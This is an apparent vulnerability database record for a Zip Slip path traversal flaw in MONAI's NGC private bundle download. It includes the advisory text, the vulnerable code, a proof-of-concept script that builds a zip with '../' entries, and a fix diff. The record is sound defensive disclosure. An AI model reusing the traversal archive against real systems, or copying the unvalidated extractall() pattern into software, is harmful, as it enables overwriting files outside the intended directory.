{"id":"CVE-2026-21851","aliases":["CVE-2026-21851","GHSA-9rg3-9pvr-6p27","PYSEC-2026-1678"],"related":[],"kind":"vulnerability","state":"published","title":"MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download","summary":"MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA **Path Traversal (Zip Slip)** vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function.\n\nThis appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.\n\n**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `monai/bundle/scripts.py`  \n**Lines:** 291-292  \n**Function:** `_download_from_ngc_private()`\n\n```python\n# monai/bundle/scripts.py - Lines 284-293\nzip_path = download_path / f\"{filename}_v{version}.zip\"\nwith open(zip_path, \"wb\") as f:\n    f.write(response.content)\nlogger.info(f\"Downloading: {zip_path}.\")\nif remove_prefix:\n    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)\nextract_path = download_path / f\"{filename}\"\nwith zipfile.ZipFile(zip_path, \"r\") as z:\n    z.extractall(extract_path)  # <-- No path validation\n    logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\n### Root Cause\n\nThe code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory.\n\n### Safe Code Already Exists\n\nMONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths:\n\n```python\ndef safe_extract_member(member, extract_to):\n    \"\"\"Securely verify compressed package member paths to prevent path traversal attacks\"\"\"\n    # ... path validation logic ...\n    \n    if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n        raise ValueError(f\"Unsafe path detected in archive: {member_path}\")\n    \n    # Ensure path stays within extraction root\n    if os.path.commonpath([extract_root, target_real]) != extract_root:\n        raise ValueError(f\"Unsafe path: path traversal {member_path}\")\n```\n\n### Comparison with Other Download Functions\n\n| Function | File | Uses Safe Extraction? |\n|----------|------|----------------------|\n| `_download_from_github()` | scripts.py:198 | ✅ Yes (via `extractall()` wrapper) |\n| `_download_from_monaihosting()` | scripts.py:205 | ✅ Yes (via `extractall()` wrapper) |\n| `_download_from_bundle_info()` | scripts.py:215 | ✅ Yes (via `extractall()` wrapper) |\n| `_download_from_ngc_private()` | scripts.py:292 | ❌ No (direct `z.extractall()`) |\n\n---\n\n## PoC\n\n### Step 1: Create a Malicious Zip File\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create malicious zip with path traversal entries\"\"\"\nimport zipfile\nimport io\n\ndef create_malicious_zip(output_path=\"malicious_bundle.zip\"):\n    zip_buffer = io.BytesIO()\n    \n    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:\n        # Normal bundle file\n        zf.writestr(\n            \"monai_test_bundle/configs/metadata.json\",\n            '{\"name\": \"test_bundle\", \"version\": \"1.0.0\"}'\n        )\n        \n        # Path traversal entry\n        zf.writestr(\n            \"../../../tmp/escaped_file.txt\",\n            \"This file was written outside the extraction directory.\\n\"\n        )\n    \n    with open(output_path, 'wb') as f:\n        f.write(zip_buffer.getvalue())\n    \n    print(f\"Created: {output_path}\")\n    with zipfile.ZipFile(output_path, 'r') as zf:\n        print(\"Contents:\")\n        for name in zf.namelist():\n            print(f\"  - {name}\")\n\nif __name__ == \"__main__\":\n    create_malicious_zip()\n```\n\n**Output:**\n```\nCreated: malicious_bundle.zip\nContents:\n  - monai_test_bundle/configs/metadata.json\n  - ../../../tmp/escaped_file.txt\n```\n\n### Step 2: Demonstrate the Difference\n\nThis script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI):\n\n```python\n#!/usr/bin/env python3\n\"\"\"Compare vulnerable vs safe extraction\"\"\"\nimport zipfile\nimport tempfile\nimport os\n\ndef vulnerable_extraction(zip_path, extract_path):\n    \"\"\"Pattern used in monai/bundle/scripts.py:291-292\"\"\"\n    os.makedirs(extract_path, exist_ok=True)\n    with zipfile.ZipFile(zip_path, \"r\") as z:\n        z.extractall(extract_path)\n    print(\"[VULNERABLE] Extraction completed without validation\")\n\ndef safe_extraction(zip_path, extract_path):\n    \"\"\"Pattern used in monai/apps/utils.py\"\"\"\n    os.makedirs(extract_path, exist_ok=True)\n    with zipfile.ZipFile(zip_path, \"r\") as zf:\n        for member in zf.infolist():\n            member_path = os.path.normpath(member.filename)\n            \n            # Check for path traversal\n            if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n                print(f\"[SAFE] BLOCKED: {member.filename}\")\n                continue\n            \n            print(f\"[SAFE] Allowed: {member.filename}\")\n\n# Run demo\nprint(\"=\" * 50)\nprint(\"VULNERABLE PATTERN (scripts.py:291-292)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n    vulnerable_extraction(\"malicious_bundle.zip\", tmpdir)\n    for root, dirs, files in os.walk(tmpdir):\n        for f in files:\n            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)\n            print(f\"  Extracted: {rel_path}\")\n\nprint()\nprint(\"=\" * 50)\nprint(\"SAFE PATTERN (apps/utils.py)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n    safe_extraction(\"malicious_bundle.zip\", tmpdir)\n```\n\n**Output:**\n```\n==================================================\nVULNERABLE PATTERN (scripts.py:291-292)\n==================================================\n[VULNERABLE] Extraction completed without validation\n  Extracted: monai_test_bundle/configs/metadata.json\n  Extracted: tmp/escaped_file.txt\n\n==================================================\nSAFE PATTERN (apps/utils.py)\n==================================================\n[SAFE] Allowed: monai_test_bundle/configs/metadata.json\n[SAFE] BLOCKED: ../../../tmp/escaped_file.txt\n```\n\n---\n\n## Impact\n\n### Conditions Required for Exploitation\n\n1. Attacker must control or compromise an NGC private repository\n2. Victim must configure MONAI to download from that repository\n3. Victim must use `source=\"ngc_private\"` parameter\n\n### Potential Impact\n\nIf exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:\n- The permissions of the user running MONAI\n- The target location of the escaped files\n- Python version (newer versions have some built-in path normalization)\n\n### Mitigating Factors\n\n- Requires attacker to control an NGC private repository\n- Modern Python versions (3.12+) have some built-in path normalization\n- The `ngc_private` source is less commonly used than other sources\n\n---\n\n## Recommended Fix\n\nReplace the direct `extractall()` call with MONAI's existing safe extraction:\n\n```diff\n# monai/bundle/scripts.py\n\n+ from monai.apps.utils import _extract_zip\n\ndef _download_from_ngc_private(...):\n    # ... existing code ...\n    \n    extract_path = download_path / f\"{filename}\"\n-   with zipfile.ZipFile(zip_path, \"r\") as z:\n-       z.extractall(extract_path)\n-       logger.info(f\"Writing into directory: {extract_path}.\")\n+   _extract_zip(zip_path, extract_path)\n+   logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\nThis aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources.\n\n---\n\n## Resources\n\n- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability)\n- [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)","format":"markdown","source":"ghsa"},{"lang":"es","text":"MONAI (Medical Open Network for AI) es un kit de herramientas de IA para imágenes médicas. En versiones hasta la 1.5.1 inclusive, una vulnerabilidad de Salto de Ruta (Zip Slip) existe en la función _download_from_ngc_private() de MONAI. La función utiliza zipfile.ZipFile.extractall() sin validación de ruta, mientras que otras funciones de descarga similares en la misma base de código utilizan correctamente la función safe_extract_member() existente. El commit 4014c8475626f20f158921ae0cf98ed259ae4d59 corrige este problema.","source":"nvd"}],"published":"2026-01-06T17:32:52.000Z","modified":"2026-07-07T17:56:28.849Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"<= 1.5.1","status":"affected"}],"vendor":"Project-MONAI","product":"MONAI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.5.2"}],"ecosystem":"PyPI","package":"monai","purl":"pkg:pypi/monai","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"1.5.1"}],"vendor":"project-monai","product":"monai","cpe":"cpe:2.3:a:project-monai:monai:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.5.2"}],"ecosystem":"PyPI","package":"monai","purl":"pkg:pypi/monai","source":"pysec"}],"references":[{"url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-9rg3-9pvr-6p27","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/Project-MONAI/MONAI/commit/4014c8475626f20f158921ae0cf98ed259ae4d59","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21851","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/Project-MONAI/MONAI","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/monai","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-9rg3-9pvr-6p27","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-01-08T20:09:52.023Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-21851","url":"https://www.cve.org/CVERecord?id=CVE-2026-21851","licence":"CVE Terms of Use","modified":"2026-01-08T20:09:55.184Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9rg3-9pvr-6p27","url":"https://github.com/advisories/GHSA-9rg3-9pvr-6p27","licence":"CC-BY-4.0","modified":"2026-07-07T17:56:28.849Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-21851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21851","licence":"Public domain","modified":"2026-06-17T10:19:01.723Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1678","url":"https://osv.dev/vulnerability/PYSEC-2026-1678","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:17.099Z"}],"updatedAt":"2026-11-25T22:59:12.649Z","epss":{"score":0.00357,"percentile":0.31511,"date":"2026-12-01T12:00:22.000Z"}}